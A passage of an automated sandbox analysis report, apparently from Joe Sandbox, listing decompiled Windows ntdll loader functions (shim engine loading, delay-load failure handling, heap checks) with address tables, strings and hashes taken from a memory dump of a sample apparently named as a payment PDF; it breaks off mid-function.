				void* __esi;
				void* __ebp;
				short _t48;
				short _t49;
				void* _t52;
				signed char _t61;
				void* _t67;
				intOrPtr _t71;
				void* _t81;
				signed char _t85;
				void* _t99;
				void* _t100;
				void* _t102;
				void* _t103;
				signed int _t104;
				signed int _t106;
				signed int _t108;
				void* _t109;

				_t108 = (_t106 & 0xfffffff8) - 0x374;
				_v8 =  *0x3356b370 ^ _t108;
				_t48 = 0x16;
				_v876 = _t48;
				_t96 =  &_v876;
				_t49 = 0x18;
				_v874 = _t49;
				_t99 = __ecx;
				_v872 = L"apphelp.dll";
				_v784 =  &_v780;
				_v788 = 0x1000000;
				_v780 = 0;
				_t52 = L33466C11( &_v788,  &_v876, _t109);
				if(_t52 < 0) {
					_t85 =  *0x335637c0; // 0x0
					__eflags = _t85 & 0x00000003;
					if((_t85 & 0x00000003) == 0) {
						L12:
						__eflags = _t85 & 0x00000010;
						L15:
						if(__eflags != 0) {
							asm("int3");
						}
						L6:
						_t53 =  &_v780;
						if( &_v780 != _v784) {
							_t53 = E3346BA80(_v784);
						}
						_pop(_t100);
						_pop(_t102);
						_pop(_t81);
						return E334B4B50(_t53, _t81, _v8 ^ _t108, _t96, _t100, _t102);
					}
					_push(_t52);
					_push("Building shim engine DLL system32 filename failed with status 0x%08lx\n");
					_push(0);
					_push("LdrpInitShimEngine");
					_push(0xa35);
					L11:
					_push("minkernel\\ntdll\\ldrinit.c");
					E334EE692();
					_t85 =  *0x335637c0; // 0x0
					_t108 = _t108 + 0x18;
					goto L12;
				}
				L3348E8A6(0, 0x4001,  &_v868);
				_t96 =  &_v872;
				_t103 = E33466B45( &_v792,  &_v872, 0,  &_v892);
				if(_v804 != 0) {
					E3349E7E0( &_v792, _v868);
				}
				_t112 = _t103;
				if(_t103 < 0) {
					_t61 =  *0x335637c0; // 0x0
					__eflags = _t61 & 0x00000003;
					if((_t61 & 0x00000003) != 0) {
						E334EE692("minkernel\\ntdll\\ldrinit.c", 0xa48, "LdrpInitShimEngine", 0, "Loading the shim engine DLL failed with status 0x%08lx\n", _t103);
						_t61 =  *0x335637c0; // 0x0
						_t108 = _t108 + 0x18;
					}
					__eflags = _t61 & 0x00000010;
					goto L15;
				} else {
					 *( *((intOrPtr*)(_t108 + 0xc)) + 0x34) =  *( *((intOrPtr*)(_t108 + 0xc)) + 0x34) | 0x00000100;
					 *0x33565d64 =  *((intOrPtr*)( *((intOrPtr*)(_t108 + 0xc)) + 0x18));
					L334A7DF6( *((intOrPtr*)(_t108 + 0xc)));
					E3348D3E1(0,  *((intOrPtr*)(_t108 + 0xc)), _t103);
					_t67 = L33466868( *((intOrPtr*)(_t108 + 0xc)), _t96, _t112);
					if(_t67 < 0) {
						_t85 =  *0x335637c0; // 0x0
						__eflags = _t85 & 0x00000003;
						if((_t85 & 0x00000003) == 0) {
							goto L12;
						}
						_push(_t67);
						_push("Getting the shim engine exports failed with status 0x%08lx\n");
						_push(0);
						_push("LdrpInitShimEngine");
						_push(0xa56);
						goto L11;
					}
					_t104 =  *0x33569208; // 0x0
					_v872 = _t108 + 0x178;
					_v876 = 0x2000000;
					_t96 =  *0x7ffe0330;
					_t71 =  *0x33565b24; // 0x3142d38
					asm("ror esi, cl");
					 *0x335691e0( &_v876, _t71 + 0x24, _t99, 0x20);
					if( *(_t104 ^  *0x7ffe0330)() >= 0) {
						E33466565( *((intOrPtr*)(_t108 + 0x14)));
						if( *((intOrPtr*)(_t108 + 0x14)) != _t108 + 0x178) {
							E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t108 + 0x14)));
						}
					}
					goto L6;
				}
			}

0x33466415
0x33466422
0x3346642e
0x3346642f
0x33466434
0x3346643a
0x3346643b
0x33466440
0x33466446
0x3346644e
0x33466458
0x33466460
0x33466465
0x3346646c
0x334c9770
0x334c9776
0x334c9779
0x334c97b3
0x334c97b3
0x334c97dd
0x334c97dd
0x334c97e3
0x334c97e3
0x33466542
0x33466542
0x3346654a
0x334c982b
0x334c982b
0x33466557
0x33466558
0x33466559
0x33466564
0x33466564
0x334c977b
0x334c977c
0x334c9781
0x334c9783
0x334c9788
0x334c97a0
0x334c97a0
0x334c97a5
0x334c97aa
0x334c97b0
0x00000000
0x334c97b0
0x3346647e
0x3346648b
0x33466498
0x3346649e
0x334c97ed
0x334c97ed
0x334664a4
0x334664a6
0x334c97f7
0x334c97fc
0x334c97fe
0x334c97ce
0x334c97d3
0x334c97d8
0x334c97d8
0x334c97db
0x00000000
0x334664ac
0x334664b0
0x334664be
0x334664c3
0x334664cc
0x334664d1
0x334664d8
0x334c9802
0x334c9808
0x334c980b
0x00000000
0x00000000
0x334c978f
0x334c9790
0x334c9795
0x334c9796
0x334c979b
0x00000000
0x334c979b
0x334664de
0x334664eb
0x334664f1
0x334664f9
0x33466507
0x33466510
0x3346651c
0x33466526
0x3346652c
0x3346653c
0x334c981d
0x334c981d
0x3346653c
0x00000000
0x33466526

APIs

RtlDebugPrintTimes.NTDLL ref: 3346651C

Part of subcall function 33466565: RtlDebugPrintTimes.NTDLL ref: 33466614
Part of subcall function 33466565: RtlDebugPrintTimes.NTDLL ref: 3346665F

Strings

apphelp.dll, xrefs: 33466446
Loading the shim engine DLL failed with status 0x%08lx, xrefs: 334C97B9
Building shim engine DLL system32 filename failed with status 0x%08lx, xrefs: 334C977C
LdrpInitShimEngine, xrefs: 334C9783, 334C9796, 334C97BF
Getting the shim engine exports failed with status 0x%08lx, xrefs: 334C9790
minkernel\ntdll\ldrinit.c, xrefs: 334C97A0, 334C97C9

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Building shim engine DLL system32 filename failed with status 0x%08lx$Getting the shim engine exports failed with status 0x%08lx$LdrpInitShimEngine$Loading the shim engine DLL failed with status 0x%08lx$apphelp.dll$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-204845295
Opcode ID: a0de61c5752610f7b5e496facf0830772e8ac3d6ea2873cd2220f493af8d826d
Instruction ID: 7151e2084382cd92588070aba78f99042b6b8206464d5e1b6b1ae034627eac02
Opcode Fuzzy Hash: a0de61c5752610f7b5e496facf0830772e8ac3d6ea2873cd2220f493af8d826d
Instruction Fuzzy Hash: 1B51F175A0A340EFE310DF24C891E5B77E8FB84744F40091EF9A497661DB30DA46CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 334EFA02 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 109
timeCOMMON

Download Yara Rule

C-Code - Quality: 17%

			E334EFA02(intOrPtr __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr* _a8, intOrPtr* _a12, intOrPtr _a16, intOrPtr _a20) {
				char* _v8;
				intOrPtr _v12;
				char* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char* _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v56;
				signed char _t50;
				intOrPtr _t51;
				intOrPtr _t66;
				intOrPtr _t68;
				char* _t71;
				void* _t74;
				intOrPtr* _t75;
				intOrPtr* _t76;
				char* _t77;

				_t74 = __edx;
				_v20 = __ecx;
				_t66 = 0;
				_v12 =  *((intOrPtr*)(__ecx + 0x18)) +  *((intOrPtr*)(_a4 + 4));
				L334EF899(__ecx, _a4, _a16,  &_v16,  &_v8);
				_t50 =  *0x335637c0; // 0x0
				_t77 = _v16;
				if((_t50 & 0x00000003) != 0) {
					_t71 = _t77;
					if(_t77 == 0) {
						_t71 = "Unknown";
					}
					_push(_a20);
					_push(_v20 + 0x2c);
					_push(_v8);
					_push(_t71);
					E334EE692("minkernel\\ntdll\\ldrdload.c", 0x1cc, "LdrpRedirectDelayloadFailure", _t66, "Failed to find export %s!%s (Ordinal:%d) in \"%wZ\"  0x%08lx\n", _v12);
					_t50 =  *0x335637c0; // 0x0
				}
				if((_t50 & 0x00000010) != 0) {
					asm("int3");
				}
				if(_t74 == 0) {
					_t68 = _t66;
					goto L11;
				} else {
					_t68 =  *((intOrPtr*)(_t74 + 0x18));
					if(( *0x3356391c & 0x00000010) != 0 || ( *(_t74 + 0x34) & 0x00000001) != 0) {
						L11:
						_t51 = 1;
						goto L12;
					} else {
						_t51 = _t66;
						L12:
						_t75 = _a8;
						if(_t75 == 0 || _t51 == 0) {
							L18:
							_t76 = _a12;
							if(_t76 != 0) {
								if(_t77 == 0) {
									_t77 = _v8;
								}
								 *0x335691e0(_v12, _t77);
								_t66 =  *_t76();
							}
							goto L22;
						} else {
							_v52 = _a4;
							_v48 = _a16;
							_v28 = _t66;
							_v56 = 0x24;
							_v44 = _v12;
							_v32 = _t68;
							_v24 = E334A6010(_a20);
							if(_t77 == 0) {
								_v40 = _t66;
								_v36 = _v8;
							} else {
								_v40 = 1;
								_v36 = _t77;
							}
							 *0x335691e0("true",  &_v56);
							_t66 =  *_t75();
							if(_t66 != 0) {
								L22:
								return _t66;
							} else {
								goto L18;
							}
						}
					}
				}
			}

0x334efa10
0x334efa12
0x334efa18
0x334efa1d
0x334efa2b
0x334efa30
0x334efa35
0x334efa3a
0x334efa3c
0x334efa40
0x334efa42
0x334efa42
0x334efa47
0x334efa50
0x334efa51
0x334efa54
0x334efa6d
0x334efa72
0x334efa77
0x334efa7c
0x334efa7e
0x334efa7e
0x334efa81
0x334efa99
0x00000000
0x334efa83
0x334efa8a
0x334efa8d
0x334efa9b
0x334efa9b
0x00000000
0x334efa95
0x334efa95
0x334efa9d
0x334efa9d
0x334efaa2
0x334efb01
0x334efb01
0x334efb06
0x334efb0a
0x334efb0c
0x334efb0c
0x334efb15
0x334efb1d
0x334efb1d
0x00000000
0x334efaa8
0x334efaae
0x334efab4
0x334efaba
0x334efabd
0x334efac4
0x334efac7
0x334efacf
0x334efad4
0x334efae5
0x334efae8
0x334efad6
0x334efad6
0x334efadd
0x334efadd
0x334efaf3
0x334efafb
0x334efaff
0x334efb21
0x334efb25
0x00000000
0x00000000
0x00000000
0x334efaff
0x334efaa2
0x334efa8d

APIs

RtlDebugPrintTimes.NTDLL ref: 334EFAF3
RtlDebugPrintTimes.NTDLL ref: 334EFB15

Strings

minkernel\ntdll\ldrdload.c, xrefs: 334EFA68
Unknown, xrefs: 334EFA42, 334EFA54
Failed to find export %s!%s (Ordinal:%d) in "%wZ" 0x%08lx, xrefs: 334EFA58
LdrpRedirectDelayloadFailure, xrefs: 334EFA5E
$, xrefs: 334EFABD

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$Failed to find export %s!%s (Ordinal:%d) in "%wZ" 0x%08lx$LdrpRedirectDelayloadFailure$Unknown$minkernel\ntdll\ldrdload.c
API String ID: 3446177414-4227709934
Opcode ID: 47a6dcd058fc06c411f99883eeee7951a2e377db1ac35d279f38ae7e8e94648c
Instruction ID: e1437f736b756988924c467db2324e10bf5bf20837accc40daa67e0d0fc6d04b
Opcode Fuzzy Hash: 47a6dcd058fc06c411f99883eeee7951a2e377db1ac35d279f38ae7e8e94648c
Instruction Fuzzy Hash: 324159B9E01309AFDB01DF98C880ADEBBB5FF48795F150229E914AB350D7719A42CB94

Uniqueness

Uniqueness Score: -1.00%

Function 33479046 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 199
timeCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E33479046(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				short _t95;
				intOrPtr _t110;
				short _t118;
				signed int _t131;
				intOrPtr _t136;
				intOrPtr _t140;
				intOrPtr _t146;
				intOrPtr* _t148;
				intOrPtr _t151;
				intOrPtr _t152;
				intOrPtr* _t154;
				void* _t156;

				_t141 = __edx;
				_push(0x154);
				_push(0x3354be98);
				L334C7C40(__ebx, __edi, __esi);
				 *(_t156 - 0xf0) = __edx;
				_t151 = __ecx;
				 *((intOrPtr*)(_t156 - 0xfc)) = __ecx;
				 *((intOrPtr*)(_t156 - 0xf8)) =  *((intOrPtr*)(_t156 + 8));
				 *((intOrPtr*)(_t156 - 0xe8)) =  *((intOrPtr*)(_t156 + 0xc));
				 *((intOrPtr*)(_t156 - 0xf4)) =  *((intOrPtr*)(_t156 + 0x10));
				 *((intOrPtr*)(_t156 - 0xe4)) = 0;
				 *((short*)(_t156 - 0xda)) = 0;
				 *(_t156 - 0xe0) = 0;
				 *((intOrPtr*)(_t156 - 0x140)) = 0x40;
				L334B8F40(_t156 - 0x13c, 0, 0x3c);
				 *((intOrPtr*)(_t156 - 0x164)) = 0x24;
				 *((intOrPtr*)(_t156 - 0x160)) = 1;
				_push("true");
				_pop(_t131);
				memset(_t156 - 0x15c, 0, _t131 << 2);
				_t146 =  *((intOrPtr*)(_t156 - 0xe8));
				_t152 = L33489870(1, _t151, 0,  *((intOrPtr*)(_t156 - 0xf8)), _t146,  *((intOrPtr*)(_t156 - 0xf4)), _t156 - 0xe0, 0, 0);
				if(_t152 >= 0) {
					if( *0x335665e0 == 0 || ( *(_t156 - 0xe0) & 0x00000001) != 0) {
						goto L1;
					} else {
						_t152 = E3348A170("true", 0, "true",  *((intOrPtr*)(_t156 - 0xfc)), _t156 - 0x140);
						if(_t152 < 0) {
							goto L1;
						}
						if( *((intOrPtr*)(_t156 - 0x13c)) != 1) {
							L11:
							_t152 = 0xc0150005;
							goto L1;
						}
						if(( *(_t156 - 0x118) & 0x00000001) == 0) {
							if(( *(_t156 - 0x118) & 0x00000002) != 0) {
								 *(_t156 - 0x120) = 0xfffffffc;
							}
						} else {
							 *(_t156 - 0x120) =  *(_t156 - 0x120) & 0x00000000;
						}
						_t136 =  *((intOrPtr*)(_t156 - 0x114));
						_t95 =  *((intOrPtr*)(_t136 + 0x5c));
						 *((short*)(_t156 - 0xda)) = _t95;
						 *((short*)(_t156 - 0xdc)) = _t95;
						 *((intOrPtr*)(_t156 - 0xd8)) =  *((intOrPtr*)(_t136 + 0x60)) +  *((intOrPtr*)(_t156 - 0x110));
						 *((intOrPtr*)(_t156 - 0xe8)) = _t156 - 0xd0;
						 *((short*)(_t156 - 0xea)) = 0xaa;
						_t152 = E33495A40(_t141,  *(_t156 - 0xf0) & 0x0000ffff, _t156 - 0xec, "true", 0);
						if(_t152 < 0 || E334904C0(_t156 - 0xdc, _t156 - 0xec, 1) == 0) {
							goto L1;
						} else {
							_t154 =  *0x335665e0; // 0x764ca680
							 *0x335691e0( *(_t156 - 0x120),  *(_t156 - 0xf0), _t156 - 0xe4);
							_t152 =  *_t154();
							 *((intOrPtr*)(_t156 - 0xd4)) = _t152;
							if(_t152 < 0) {
								goto L1;
							} else {
								_t110 =  *((intOrPtr*)(_t156 - 0xe4));
								if(_t110 == 0xffffffff) {
									L26:
									 *((intOrPtr*)(_t156 - 4)) = 1;
									_t148 =  *0x335665e8; // 0x75787740
									if(_t148 != 0) {
										 *0x335691e0(_t110);
										 *_t148();
									}
									 *((intOrPtr*)(_t156 - 4)) = 0xfffffffe;
									goto L1;
								}
								L3348DC40(_t156 - 0x164, _t110);
								 *((intOrPtr*)(_t156 - 4)) = 0;
								if( *((intOrPtr*)(_t146 + 4)) != 0) {
									E33483B90(_t146);
								}
								_t149 =  *((intOrPtr*)(_t156 - 0xfc));
								_t152 = L33489870(0,  *((intOrPtr*)(_t156 - 0xfc)), 0,  *((intOrPtr*)(_t156 - 0xf8)), _t146,  *((intOrPtr*)(_t156 - 0xf4)), _t156 - 0xe0, 0, 0);
								 *((intOrPtr*)(_t156 - 0xd4)) = _t152;
								if(_t152 < 0) {
									L25:
									 *((intOrPtr*)(_t156 - 4)) = 0xfffffffe;
									_t110 = E334D247B();
									goto L26;
								} else {
									_t152 = E3348A170("true", 0, "true", _t149, _t156 - 0x140);
									 *((intOrPtr*)(_t156 - 0xd4)) = _t152;
									if(_t152 < 0) {
										goto L25;
									}
									if( *((intOrPtr*)(_t156 - 0x13c)) == 1) {
										_t140 =  *((intOrPtr*)(_t156 - 0x114));
										_t118 =  *((intOrPtr*)(_t140 + 0x5c));
										 *((short*)(_t156 - 0xda)) = _t118;
										 *((short*)(_t156 - 0xdc)) = _t118;
										 *((intOrPtr*)(_t156 - 0xd8)) =  *((intOrPtr*)(_t140 + 0x60)) +  *((intOrPtr*)(_t156 - 0x110));
										if(E334904C0(_t156 - 0xdc, _t156 - 0xec, 1) == 0) {
											goto L25;
										}
										_t152 = 0xc0150004;
										L24:
										 *((intOrPtr*)(_t156 - 0xd4)) = _t152;
										goto L25;
									}
									_t152 = 0xc0150005;
									goto L24;
								}
							}
							goto L11;
						}
					}
				}
				L1:
				 *[fs:0x0] =  *((intOrPtr*)(_t156 - 0x10));
				return _t152;
			}

0x33479046
0x33479046
0x3347904b
0x33479050
0x33479055
0x3347905b
0x3347905d
0x33479066
0x3347906f
0x33479078
0x33479080
0x33479088
0x3347908f
0x33479095
0x334790a9
0x334790b1
0x334790be
0x334790c4
0x334790c6
0x334790cf
0x334790e2
0x334790f7
0x334790fb
0x33479118
0x00000000
0x33479123
0x3347913b
0x3347913f
0x00000000
0x00000000
0x33479147
0x334d231f
0x334d231f
0x00000000
0x334d231f
0x33479154
0x334d2330
0x334d2336
0x334d2336
0x3347915a
0x3347915a
0x3347915a
0x33479161
0x33479167
0x3347916b
0x33479172
0x33479182
0x3347918e
0x33479199
0x334791ba
0x334791be
0x00000000
0x334791e0
0x334d2358
0x334d2360
0x334d2368
0x334d236a
0x334d2372
0x00000000
0x334d2378
0x334d2378
0x334d2381
0x334d2458
0x334d2458
0x334d245b
0x334d2463
0x334d2468
0x334d246e
0x334d246e
0x334d24a7
0x00000000
0x334d24a7
0x334d238f
0x334d2396
0x334d239c
0x334d239f
0x334d239f
0x334d23bb
0x334d23c8
0x334d23ca
0x334d23d2
0x334d244c
0x334d244c
0x334d2453
0x00000000
0x334d23d4
0x334d23e7
0x334d23e9
0x334d23f1
0x00000000
0x00000000
0x334d23f9
0x334d2402
0x334d2408
0x334d240c
0x334d2413
0x334d2423
0x334d243f
0x00000000
0x00000000
0x334d2441
0x334d2446
0x334d2446
0x00000000
0x334d2446
0x334d23fb
0x00000000
0x334d23fb
0x334d23d2
0x00000000
0x334d2372
0x334791be
0x33479118
0x334790fd
0x33479102
0x3347910e

APIs

RtlDebugPrintTimes.NTDLL ref: 334D2360

Strings

@wxu, xrefs: 334D245B
$, xrefs: 334790B1
@, xrefs: 33479095

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$@$@wxu
API String ID: 3446177414-366378311
Opcode ID: 3b8d948c84d7bfbf8e71ab6c9f484e754a2a11cc29f76a927135332cfdde3381
Instruction ID: a47575abf824d0e55c377d2d1c6fa1bf76c9960a9654941290045a55fc260990
Opcode Fuzzy Hash: 3b8d948c84d7bfbf8e71ab6c9f484e754a2a11cc29f76a927135332cfdde3381
Instruction Fuzzy Hash: F2813BB1D002699BDB21CF54CC45BDEB7B8AF08750F0441EAE919B7240E7709E85CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 33466565 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 184
timeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E33466565(intOrPtr* __ecx) {
				signed int _v8;
				char _v16;
				char _v92;
				char _v93;
				char _v100;
				signed short _v106;
				char _v108;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t56;
				signed char _t67;
				intOrPtr _t76;
				signed char _t81;
				signed int _t86;
				signed int _t87;
				char _t88;
				intOrPtr _t103;
				signed int _t106;
				intOrPtr* _t110;
				signed int _t111;
				signed int _t112;
				intOrPtr _t113;
				signed int _t114;
				intOrPtr* _t116;
				signed int _t117;
				void* _t118;

				_v8 =  *0x3356b370 ^ _t117;
				_v93 = 1;
				_t110 = __ecx;
				L3348E8A6(0, 0x4001,  &_v92);
				_t106 =  *0x7ffe0330;
				_t86 =  *0x33569200; // 0x0
				_t113 = 0x20;
				 *0x335665f8 = 1;
				_t92 = _t113 - (_t106 & 0x0000001f);
				asm("ror ebx, cl");
				_t87 = _t86 ^ _t106;
				if( *__ecx == 0) {
					L8:
					_t88 = _v93;
					L9:
					if(_v16 != 0) {
						E3349E7E0(_t92, _v92);
					}
					_t114 =  *0x33569210; // 0x0
					asm("ror esi, cl");
					 *0x335691e0();
					 *(_t114 ^  *0x7ffe0330)();
					_t108 =  *0x7ffe0330;
					_t111 =  *0x33569218; // 0x0
					_push(0x20);
					asm("ror edi, cl");
					_t112 = _t111 ^  *0x7ffe0330;
					L3347FED0(0x335632d8);
					_t98 = 0x33565d8c;
					if( *0x335665f0 != 0) {
						_t56 =  *0x33565d8c; // 0x3142d38
						while(1) {
							__eflags = _t56 - _t98;
							if(_t56 == _t98) {
								break;
							}
							_v100 = _t56;
							_t39 = _t56 + 0x35;
							 *_t39 =  *(_t56 + 0x35) & 0x000000f7;
							__eflags =  *_t39;
							_t56 =  *_t56;
						}
						goto L11;
					} else {
						L11:
						_t116 =  *0x33565d8c; // 0x3142d38
						if( *0x335665f4 < 2) {
							_t116 =  *_t116;
						}
						if(_t116 == _t98) {
							L15:
							 *0x335665f0 = 1;
							 *0x335665f8 = 0;
							E3347E740(_t98);
							E3346676F(_t98);
							return E334B4B50(_t88, _t88, _v8 ^ _t117, _t108, _t112, _t116, 0x335632d8);
						} else {
							do {
								_v100 = _t116;
								_t108 = _t112;
								_t24 = _t116 + 0x50; // 0x3142d00
								_t98 =  *_t24;
								E33466704( *_t24, _t112);
								_t116 =  *_t116;
							} while (_t116 != 0x33565d8c);
							goto L15;
						}
					}
				} else {
					goto L1;
				}
				do {
					L1:
					E334B5050(_t92,  &_v108, _t110);
					_t92 = E33466B45( &_v108,  &_v92, "true",  &_v100);
					if(_t92 < 0) {
						_t67 =  *0x335637c0; // 0x0
						__eflags = _t67 & 0x00000003;
						if((_t67 & 0x00000003) != 0) {
							_push(_t92);
							E334EE692("minkernel\\ntdll\\ldrinit.c", 0x8ef, "LdrpLoadShimEngine", 0, "Loading the shim DLL \"%wZ\" failed with status 0x%08lx\n",  &_v108);
							_t67 =  *0x335637c0; // 0x0
							_t118 = _t118 + 0x1c;
						}
						__eflags = _t67 & 0x00000010;
						if((_t67 & 0x00000010) != 0) {
							asm("int3");
						}
						_v93 = 0;
						goto L6;
					}
					 *(_v100 + 0x34) =  *(_v100 + 0x34) | 0x00000100;
					L334A7DF6(_v100);
					_t76 = _v100;
					_t103 =  *((intOrPtr*)(_t76 + 0x50));
					_t122 =  *((intOrPtr*)(_t103 + 0x20)) - 7;
					if( *((intOrPtr*)(_t103 + 0x20)) != 7) {
						L5:
						 *0x335691e0( *((intOrPtr*)(_t76 + 0x18)));
						 *_t87();
						_t92 = _v100;
						E3348D3E1(_t87, _v100, _t113);
						goto L6;
					}
					_t113 = E334916EE(_t87, _t103, _t110, _t113, _t122);
					if(_t113 < 0) {
						_t81 =  *0x335637c0; // 0x0
						_t88 = 0;
						__eflags = _t81 & 0x00000003;
						if((_t81 & 0x00000003) != 0) {
							_push(_t113);
							E334EE692("minkernel\\ntdll\\ldrinit.c", 0x909, "LdrpLoadShimEngine", 0, "Initializing the shim DLL \"%wZ\" failed with status 0x%08lx\n",  &_v108);
							_t81 =  *0x335637c0; // 0x0
						}
						__eflags = _t81 & 0x00000010;
						if((_t81 & 0x00000010) != 0) {
							asm("int3");
						}
						_t92 = _t113;
						L334F1D5E(_t113);
						_push(_t113);
						_push(0xffffffff);
						L334B2C70();
						_t113 = 0x20;
						goto L9;
					}
					_t76 = _v100;
					goto L5;
					L6:
					_t110 = _t110 + ((_v106 & 0x0000ffff) >> 1) * 2;
				} while ( *_t110 != 0);
				_t113 = 0x20;
				goto L8;
			}

0x33466574
0x3346657d
0x33466581
0x3346658b
0x33466590
0x33466598
0x334665a3
0x334665a6
0x334665ad
0x334665b1
0x334665b3
0x334665b8
0x33466637
0x33466637
0x3346663a
0x3346663e
0x334666fa
0x334666fa
0x3346664c
0x33466659
0x3346665f
0x33466665
0x33466667
0x3346666f
0x33466678
0x3346667d
0x33466684
0x33466686
0x33466692
0x33466697
0x334c98c3
0x334c98d3
0x334c98d3
0x334c98d5
0x00000000
0x00000000
0x334c98ca
0x334c98cd
0x334c98cd
0x334c98cd
0x334c98d1
0x334c98d1
0x00000000
0x3346669d
0x3346669d
0x334666a4
0x334666aa
0x334666ac
0x334666ac
0x334666b0
0x334666c9
0x334666cb
0x334666d7
0x334666dc
0x334666e1
0x334666f6
0x334666b2
0x334666b2
0x334666b2
0x334666b5
0x334666b7
0x334666b7
0x334666ba
0x334666bf
0x334666c1
0x00000000
0x334666b2
0x334666b0
0x00000000
0x00000000
0x00000000
0x334665ba
0x334665ba
0x334665bf
0x334665d5
0x334665d9
0x334c9835
0x334c983a
0x334c983c
0x334c983e
0x334c9859
0x334c985e
0x334c9863
0x334c9863
0x334c9866
0x334c9868
0x334c986a
0x334c986a
0x334c986d
0x00000000
0x334c986d
0x334665e2
0x334665ec
0x334665f1
0x334665f4
0x334665f7
0x334665fb
0x3346660f
0x33466614
0x3346661a
0x3346661c
0x3346661f
0x00000000
0x3346661f
0x33466602
0x33466606
0x334c9875
0x334c987a
0x334c987c
0x334c987e
0x334c9880
0x334c989a
0x334c989f
0x334c98a4
0x334c98a7
0x334c98a9
0x334c98ab
0x334c98ab
0x334c98ac
0x334c98ae
0x334c98b3
0x334c98b4
0x334c98b6
0x334c98bd
0x00000000
0x334c98bd
0x3346660c
0x00000000
0x33466624
0x3346662a
0x3346662f
0x33466636
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 33466614
RtlDebugPrintTimes.NTDLL ref: 3346665F

Strings

LdrpLoadShimEngine, xrefs: 334C984A, 334C988B
Initializing the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 334C9885
Loading the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 334C9843
minkernel\ntdll\ldrinit.c, xrefs: 334C9854, 334C9895

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Initializing the shim DLL "%wZ" failed with status 0x%08lx$LdrpLoadShimEngine$Loading the shim DLL "%wZ" failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-3589223738
Opcode ID: dc133ace82fc715c45d165bd48e62594d3a35e1a7c96b46d303890517d18cb67
Instruction ID: 030c9c0588cf8756f6c25bbf1dc7958b90f84310b036a6e1c0816379eded22d5
Opcode Fuzzy Hash: dc133ace82fc715c45d165bd48e62594d3a35e1a7c96b46d303890517d18cb67
Instruction Fuzzy Hash: 8D51F276A10358AFDB04EFACC854E9D77B6BB50308F480169F551BB2A6CB749C42CB98

Uniqueness

Uniqueness Score: -1.00%

Function 3349DA20 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 133
timeCOMMON

Download Yara Rule

C-Code - Quality: 19%

			E3349DA20(void* __ecx, intOrPtr _a4) {
				intOrPtr _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr* _t44;
				char* _t45;
				void* _t65;
				intOrPtr _t72;
				signed int _t73;
				intOrPtr _t74;
				void* _t82;
				signed char* _t87;
				signed char _t90;
				intOrPtr _t92;
				intOrPtr _t93;
				intOrPtr* _t94;
				signed int* _t95;

				_t93 = _a4;
				if( *((intOrPtr*)(_t93 + 8)) == 0xddeeddee) {
					E33539335(_t93, 0, __ecx);
					L6:
					_t44 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
					if(_t44 != 0) {
						if( *_t44 == 0) {
							goto L7;
						}
						_t45 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						L8:
						if( *_t45 != 0) {
							if(( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
								E3352F717(_t93);
							}
						}
						return 1;
					}
					L7:
					_t45 = 0x7ffe0380;
					goto L8;
				}
				if(( *(_t93 + 0x44) & 0x01000000) != 0) {
					_t94 =  *0x3356376c; // 0x0
					 *0x335691e0(_t93);
					return  *_t94();
				}
				if( *((intOrPtr*)(_t93 + 0x60)) != 0xeeffeeff) {
